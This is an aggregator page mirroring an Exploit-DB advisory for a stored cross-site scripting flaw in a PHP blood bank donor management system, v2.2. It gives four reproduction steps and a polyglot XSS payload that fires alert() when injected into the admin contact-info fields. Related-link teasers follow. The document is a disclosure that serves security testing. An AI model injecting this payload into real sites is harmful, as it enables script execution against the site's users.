[remote] Blood Bank & Donor Management System using v2.2 - Stored XSS
source link: https://www.exploit-db.com/exploits/51750
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Blood Bank & Donor Management System using v2.2 - Stored XSS
# Exploit Title: Blood Bank & Donor Management System using v2.2 - Stored XSS
# Application: Blood Donor Management System
# Version: v2.2
# Bugs: Stored XSS
# Technology: PHP
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system-free-download/
# Date: 12.09.2023
# Author: SoSPiro
# Tested on: Windows
#POC
========================================
1. Login to admin account
2. Go to /admin/update-contactinfo.php
3. Change "Adress" or " Email id " or " Contact Number" inputs and add "/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e" payload.
4. Go to http://bbdms.local/inedx.php page and XSS will be triggered.
Recommend
-
78
-
9
Home ...
-
5
Transcript Listen to the latest from the world of science, with Shamini Bundell and Benjamin Thompson. Host: Benjamin Thompson
-
5
Book Store Management System 1.0.0 - Stored Cross-Site Scripting (XSS)...
-
6
Online Clinic Management System 2.2 - Multiple Stored Cross-Site Scripting (XSS)...
-
4
Student Study Center Management System v1.0 - Stored Cross-Site Scripting (XSS)...
-
6
The Red Cross lifts its blood donor restrictions for men who have sex with men / The American Red Cross now bases donor eligibility on individual risk factors, which include recent sexual activity across all demograph...
-
5
User Registration & Login and User Management System v3.0 - Stored Cross-Site Scripting (XS...
-
3
Blood Donor Management System v1.0 - Stored XSS ...
-
3
GYM MS - GYM Management System - Cross Site Scripting (Stored)...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK